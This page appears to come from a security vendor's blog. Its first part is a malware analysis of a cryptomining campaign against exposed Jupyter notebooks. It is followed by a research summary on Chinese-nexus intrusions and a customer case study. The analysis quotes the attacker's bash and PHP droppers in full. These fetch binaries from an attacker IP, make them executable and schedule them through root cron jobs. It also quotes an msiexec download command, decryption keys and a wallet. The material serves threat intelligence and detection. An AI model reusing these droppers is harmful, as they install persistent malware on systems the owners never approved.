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March 13, 2025

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Cado Security Labs discovered a new cryptomining campaign exploiting exposed Jupyter Notebooks on Windows and Linux. The attack deploys UPX-packed binaries that decrypt and execute a cryptominer, targeting various cryptocurrencies.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
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13
Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a novel cryptoming campaign exploiting Jupyter Notebooks, through Cado Labs honeypots. Jupyter Notebook [1] is an interactive notebook that contains a Python IDE and is typically used by data scientists. The campaign identified spreads through misconfigured Jupyter notebooks, targeting both Windows and Linux systems to deliver a cryptominer. 

Technical analysis

bash script
Figure 1: bash script

During a routine triage of the Jupyter honeypot, Cado Security Labs have identified an evasive cryptomining campaign attempting to exploit Jupyter notebooks. The attack began with attempting to retrieve a bash script and Microsoft Installer (MSI) file. After extracting the MSI file, the CustomAction points to an executable named “Binary.freedllBinary”. Custom Actions in MSI files are user defined actions and can be scripts or binaries. 

freedllbinary
Figure 2: "Binary.freedllBinary"
Binary File
Figure 3: File

Binary.freedllbinary

The binary that is executed from the installer file is a 64-bit Windows executable named Binary.freedllbinary. The main purpose of the binary is to load a secondary payload, “java.exe” by a CoCreateInstance Component Object Model (COM object) that is stored in c:\Programdata. Using the command /c start /min cmd /c "C:\ProgramData\java.exe || msiexec /q /i https://github[.]com/freewindsand/test/raw/refs/heads/main/a.msi, java.exe is executed, and if that fails “a.msi” is retrieved from Github; “a.msi” is the same as the originating MSI “0217.msi”. Finally, the binary deletes itself with /c ping 127.0.0.1 && del %s. “Java.exe” is a 64-bit binary pretending to be Java Platform SE 8. The binary is packed with UPX. Using ws2_32, “java.exe” retrieves “x2.dat” from either Github, launchpad, or Gitee and stores it in c:\Programdata. Gitee is the Chinese version of GitHub. “X.dat” is an encrypted blob of data, however after analyzing the binary, it can be seen that it is encrypted with ChaCha20, with the nonce aQFabieiNxCjk6ygb1X61HpjGfSKq4zH and the key AZIzJi2WxU0G. The data is then compressed with zlib. 

from Crypto.Cipher import ChaCha20 

import zlib 

key = b' ' 

nonce = b' ' 

with open(<encrytpedblob>', 'rb') as f: 

 ciphertext = f.read() 
 
cipher = ChaCha20.new(key=key, nonce=nonce) 

plaintext = cipher.decrypt(ciphertext) 

with open('decrypted_output.bin', 'wb') as f:  

 f.write(plaintext) 
 
with open('decrypted_output.bin', 'rb') as f_in: 

 compressed_data = f_in.read() 
 
decompressed_data = zlib.decompress(compressed_data) 

with open('decompressed_output', 'wb') as f_out: 

 f_out.write(decompressed_data)

After decrypting the blob with the above script there is another binary. The final binary is a cryptominer that targets:

  • Monero
  • Sumokoin
  • ArQma
  • Graft
  • Ravencoin
  • Wownero
  • Zephyr
  • Townforge
  • YadaCoin

ELF version

In the original Jupyter commands, if the attempt to retrieve and run the MSI file fails, then it attempts to retrieve “0217.js” and execute it. “0217.js” is a bash backdoor that retrieves two ELF binaries “0218.elf”, and “0218.full” from 45[.]130[.]22[.]219. The script first retrieves “0218.elf” either by curl or wget, renames it to the current time, stores it in /etc/, makes it executable via chmod and sets a cronjob to run every ten minutes.

#!/bin/bash 
u1='http://45[.]130.22.219/0218.elf'; 
name1=`date +%s%N` 
wget ${u1}?wget -O /etc/$name1 
chmod +x /etc/$name1 
echo "10 * * * * root /etc/$name1" >> /etc/cron.d/$name1 
/etc/$name1 
 
name2=`date +%s%N` 
curl ${u1}?curl -o /etc/$name2 
chmod +x /etc/$name2 
echo "20 * * * * root /etc/$name2" >> /etc/cron.d/$name2 
/etc/$name2 
 
u2='http://45[.]130.22.219/0218.full'; 
name3=`date +%s%N` 
wget ${u2}?wget -O /tmp/$name3 
chmod +x /tmp/$name3 
(crontab -l ; echo "30 * * * * /tmp/$name3") | crontab - 
/tmp/$name3 
 
name4=`date +%s%N` 
curl ${u2}?curl -o /var/tmp/$name4 
chmod +x /var/tmp/$name4 
(crontab -l ; echo "40 * * * * /var/tmp/$name4") | crontab - 
/var/tmp/$name4 
 
while true 
do 
        chmod +x /etc/$name1 
        /etc/$name1 
        sleep 60 
        chmod +x /etc/$name2 
        /etc/$name2 
        sleep 60 
        chmod +x /tmp/$name3 
        /tmp/$name3 
        sleep 60 
        chmod +x /var/tmp/$name4 
        /var/tmp/$name4 
        sleep 60 
done 

0217.js

Similarly, “0218.full” is retrieved by curl or wget, renamed to the current time, stored in /tmp/ or /var/tmp/, made executable and a cronjob is set to every 30 or 40 minutes. 

0218.elf

“0218.elf” is a 64-bit UPX packed ELF binary. The functionality of the binary is similar to “java.exe”, the Windows version. The binary retrieves encrypted data “lx.dat” from either 172[.]245[.]126[.]209, launchpad, Github, or Gitee. The lock file “cpudcmcb.lock” is searched for in various paths including /dev/, /tmp/ and /var/, presumably looking for a concurrent process. As with the Windows version, the data is encrypted with ChaCha20 (nonce: 1afXqzGbLE326CPT0EAwYFvgaTHvlhn4 and key: ZTEGIDQGJl4f) and compressed with zlib. The decrypted data is stored as “./lx.dat”. 

ChaCha routine
Figure 4: ChaCha routine
lx.dat file
Figure 5: Reading the written lx.dat file

The decrypted data from “lx.dat” is another ELF binary, and is the Linux variant of the Windows cryptominer. The cryptominer is mining for the same cryptocurrency as the Windows with the wallet ID: 44Q4cH4jHoAZgyHiYBTU9D7rLsUXvM4v6HCCH37jjTrydV82y4EvPRkjgdMQThPLJVB3ZbD9Sc1i84 Q9eHYgb9Ze7A3syWV, and pools:

  • C3.wptask.cyou
  • Sky.wptask.cyou
  • auto.skypool.xyz

The binary “0218.full” is the same as the dropped cryptominer, skipping the loader and retrieval of encrypted data. It is unknown why the threat actor would deploy two versions of the same cryptominer. 

Other campaigns

While analyzing this campaign, a parallel campaign targeting servers running PHP was found. Hosted on the 45[.]130[.]22[.]219 address is a PHP script “1.php”:

<?php 
$win=0; 
$file=""; 
$url=""; 
strtoupper(substr(PHP_OS,0,3))==='WIN'?$win=1:$win=0; 
if($win==1){ 
    $file = "C://ProgramData/php.exe"; 
    $url  = "http://45[.]130.22.219/php0218.exe"; 
}else{ 
    $file = "/tmp/php"; 
    $url  = "http://45[.]130.22.219/php0218.elf"; 
} 
    ob_start(); 
    readfile($url); 
    $content = ob_get_contents(); 
    ob_end_clean(); 
    $size = strlen($content); 
    $fp2 = @fopen($file, 'w'); 
    fwrite($fp2, $content); 
    fclose($fp2); 
    unset($content, $url); 
    if($win!=1){ 
        passthru("chmod +x ".$file); 
    } 
    passthru($file); 
?> 
Hello PHP

“1.php” is essentially a PHP version of the Bash script “0218.js”, a binary is retrieved based on whether the server is running on Windows or Linux. After analyzing the binaries, “php0218.exe” is the same as Binary.freedllbinary, and “php0218.elf” is the same as “0218.elf”. 

The exploitation of Jupyter to deploy this cryptominer hasn’t been reported before, however there have been previous campaigns with similar TTPs. In January 2024, Greynoise [2] reported on Ivanti Connect Secure being exploited to deliver a cryptominer. As with this campaign, the Ivanti campaign featured the same backdoor, with payloads hosted on Github. Additionally, AnhLabs [3] reported in June 2024 of a similar campaign targeting unpatched Korean web servers.

Figure 6: Mining pool 45[.]147[.]51[.]78

Conclusion

Exposed cloud services remain a prime target for cryptominers and other malicious actors. Attackers actively scan for misconfigured or publicly accessible instances, exploiting them to run unauthorized cryptocurrency mining operations. This can lead to degraded system performance, increased cloud costs, and potential data breaches.

To mitigate these risks, organizations should enforce strong authentication, disable public access, and regularly monitor their cloud environments for unusual activity. Implementing network restrictions, auto-shutdown policies for idle instances, and cloud provider security tools can also help reduce exposure.

Continuous vigilance, proactive security measures, and user education are crucial to staying ahead of emerging threats in the ever-changing cloud landscape.  

IOCs

hxxps://github[.]com/freewindsand

hxxps://github[.]com/freewindsand/pet/raw/refs/heads/main/lx.dat

hxxps://git[.]launchpad.net/freewindpet/plain/lx.dat

hxxps://gitee[.]com/freewindsand/pet/raw/main/lx.dat

hxxps://172[.]245[.]126.209/lx.dat

090a2f79d1153137f2716e6d9857d108 - Windows cryptominer

51a7a8fbe243114b27984319badc0dac - 0218.elf

227e2f4c3fd54abdb8f585c9cec0dcfc - ELF cryptominer

C1bb30fed4f0fb78bb3a5f240e0058df - Binary.freedllBinary

6323313fb0d6e9ed47e1504b2cb16453 - py0217.msi

3750f6317cf58bb61d4734fcaa254147 - 0218.full

1cdf044fe9e320998cf8514e7bd33044 - java.exe

141[.]11[.]89[.]42

172[.]245[.]126[.]209

45[.]130[.]22[.]219

45[.]147[.]51[.]78

Pools:

c3.wptask.cyou

sky.wptask.cyou

auto.c3pool.org

auto.skypool.xyz

MITRE ATT&CK

T1059.004  Command and Scripting Interpreter: Bash  

T1218.007  System Binary Proxy Execution: MSIExec  

T1053.003  Scheduled Task/Job: Cron  

T1190  Exploit Public-Facing Application  

T1027.002  Obfuscated Files or Information: Software Packing  

T1105  Ingress Tool Transfer  

T1496  Resource Hijacking  

T1105  Ingress Tool Transfer  

T1070.004  Indicator Removal on Host: File Deletion  

T1027  Obfuscated Files or Information  

T1559.001  Inter-Process Communication: Component Object Model  

T1027  Obfuscated Files or Information

References:

[1] https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks  

[2] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers  

[3] https://asec.ahnlab.com/en/74096/  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

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Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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April 1, 2026

AI-powered security for a rapidly growing grocery enterprise

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Protecting a complex, fast-growing retail organization

For this multi-banner grocery holding organization, cybersecurity is considered an essential business enabler, protecting operations, growth, and customer trust. The organization’s lean IT team manages a highly distributed environment spanning corporate offices, 100+ stores, distribution centers and  thousands of endpoints, users, and third-party connections.

Mergers and acquisitions fueled rapid growth, but they also introduced escalating complexity that constrained visibility into users, endpoints, and security risks inherited across acquired environments.

Closing critical visibility gaps with limited resources

Enterprise-wide visibility is a top priority for the organization, says the  Vice President of Information Technology. “We needed insights beyond the perimeter into how users and devices were behaving across the organization.”

A security breach that occurred before the current IT leadership joined the company reinforced the urgency and elevated cybersecurity to an executive-level priority with a focus on protecting customer trust. The goal was to build a multi-layered security model that could deliver autonomous, enterprise-wide protection without adding headcount.

Managing cyber risk in M&A

Mergers and acquisitions are central to the grocery holding company’s growth strategy. But each transaction introduces new cyber risk, including inherited network architectures, inconsistent tooling, excessive privileges, and remnants of prior security incidents that were never fully remediated.

“Our M&A targets range from small chains with a single IT person and limited cyber tools to large chains with more developed IT teams, toolsets and instrumentation,” explains the VP of IT. “We needed a fast, repeatable, and reliable way to assess cyber risk before transactions closed.”

AI-driven security built for scale, speed, and resilience

Rather than layering additional point tools onto an already complex environment, the retailer adopted the Darktrace ActiveAI Security Platform™ in 2020 as part of a broader modernization effort to improve resilience, close visibility gaps, and establish a security foundation that could scale with growth.

“Darktrace’s AI-driven approach provided the ideal solution to these challenges,” shares the VP of IT. “It has empowered our organization to maintain a robust security strategy, ensuring the protection of our network and the smooth operation of our business.”

Enterprise-wide visibility into traffic  

By monitoring both north-south and east-west traffic and applying Self-Learning AI, Darktrace develops a dynamic understanding of how users and devices normally behave across locations, roles, and systems.

“Modeling normal behavior across the environment enables us to quickly spot behavior that doesn’t fit. Even subtle changes that could signal a threat but appear legitimate at first glance,” explains the VP of IT.

Real-time threat containment, 24/7

Adopting autonomous response has created operational breathing room for the security team, says the company’s Cybersecurity  Engineer.

“Early on, we enabled full Darktrace autonomous mode and we continue to do so today,” shares the IT Security Architect. “Allowing the technology to act first gives us the time we need to investigate incidents during business hours without putting the business at risk.”

Unified, actionable view of security ecosystem

The grocery retailer integrated Darktrace with its existing security ecosystem of firewalls, vulnerability management tools, and endpoint detection and response, and the VP of IT described the adoption process as “exceptionally smooth.”

The team can correlate enterprise-wide security data for a unified and actionable picture of all activity and risk. Using this “single pane of glass” approach, the retailer trains Level 1 and Level 2 operations staff to assist with investigations and user follow-ups, effectively extending the reach of the security function without expanding headcount.

From reactive defense to security at scale

With Darktrace delivering continuous visibility, autonomous containment, and integrated security workflows, the organization has strengthened its cybersecurity posture while improving operational efficiency. The result is a security model that not only reduces risk, but also supports growth, resilience, and informed decision-making at the business level.

Faster detection, faster resolution

With autonomous detection and response, the retailer can immediately contain risk while analysts investigate and validate activity. With this approach, the company can maintain continuous protection even outside business hours and reduce the chance of lateral spread across systems or locations.

Enterprise-grade protection with a lean team

From cloud environments to clients to SaaS collaboration tools, Darktrace provides holistic autonomous AI defense, processing petabytes of the organization’s network traffic and investigating millions of individual events that could be indicative of a wider incident.

Today, Darktrace autonomously conducts the majority of all investigations on behalf of the IT team, escalating only a tiny fraction for analyst review. The impact has been profound, freeing analysts from endless alerts and hours of triage so they can focus on more valuable, proactive, and gratifying work.

“From an operational perspective, Darktrace gives us time back,” says the Cybersecurity Engineer. More importantly, says the VP of IT, “it gives us peace of mind that we’re protected even if we’re not actively monitoring every alert.”

A strategic input for M&A decision-making

One of the most strategic outcomes has been the role of cybersecurity on M&A. 90 days prior to closing a transaction, the security team uses Darktrace alongside other tools to perform a cyber risk assessment of the potential acquisition. “Our approach with Darktrace has consistently identified gaps and exposed risks,” says the VP of IT, including:

  • Remnants of previous incidents that were never fully remediated
  • Network configurations with direct internet exposure
  • Excessive administrative privileges in Active Directory or on critical hosts

While security findings may not alter deal timelines, the VP of IT says they can have enormous business implications. “With early visibility into these risks, we can reduce exposure to inherited cyber threats, strengthen our position during negotiations, and establish clear remediation requirements.”

A security strategy built to evolve with the business

As the holding group expands its cloud footprint, it will extend Darktrace protections into Azure, applying the same AI-driven visibility and autonomous response to cloud workloads. The VP of IT says Darktrace's evolving capabilities will be instrumental in addressing the organization’s future cybersecurity needs and ability to adapt to the dynamic nature of cloud security.

“With Darktrace’s AI-driven approach, we have moved beyond reactive defense, establishing a resilient security foundation for confident expansion and modernization.”

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